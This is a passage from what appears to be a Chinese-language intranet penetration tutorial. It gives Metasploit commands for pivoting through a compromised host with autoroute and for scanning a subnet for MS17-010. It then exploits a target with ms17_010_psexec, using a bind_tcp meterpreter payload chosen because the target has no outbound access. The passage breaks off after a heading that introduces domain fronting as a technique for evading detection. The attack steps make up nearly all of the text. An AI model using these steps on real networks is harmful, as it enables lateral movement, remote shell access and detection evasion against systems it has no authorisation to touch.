615 | ``` 616 | 617 | 添加路由: 618 | 查看路由 619 | meterpreter > run get_local_subnets 620 | 可以获悉内网网段地址为:192.168.52.0/24 621 | 添加目标网段路由 622 | meterpreter > run autoroute -s 192.168.52.0/24 623 | 查看路由 624 | run autoroute -p 625 | ``` 626 | ![image](https://github.com/JohnnyZhouX/Hack_For_Intranet/blob/main/pic/%E6%8D%95%E8%8E%B71.PNG) 627 | ``` 628 | 629 | ms17010 扫描 630 | use auxiliary/scanner/smb/smb_ms17_010 631 | show options 632 | set rhosts 192.168.52.0/24 633 | set threads 20 634 | run 635 | ``` 636 | ![image](https://github.com/JohnnyZhouX/Hack_For_Intranet/blob/main/pic/%E6%8D%95%E8%8E%B73.PNG) 637 | ``` 638 | 639 | 640 | 使用exp横向渗透192.168.101.138的主机: 641 | msf exploit(handler) > use exploit/windows/smb/ms17_010_psexec 642 | msf exploit(ms17_010_psexec) > set payload windows/meterpreter/bind_tcp (目标不出网,设置正向shell) 643 | msf exploit(ms17_010_psexec) > set rhost 192.168.101.138 644 | msf exploit(ms17_010_psexec) > exploit 645 | 646 | ``` 647 | ![image](https://github.com/JohnnyZhouX/Hack_For_Intranet/blob/main/pic/%E6%8D%95%E8%8E%B74.PNG) 648 | ``` 649 | 650 | ``` 651 | #### 2.域前置 652 | 653 | ``` 654 | 简介:Domain Fronting基于HTTPS通用规避技术,也被称为域前端网络攻击技术 655 | 656 | ``` 657 | --------------------------------------------------------------------------------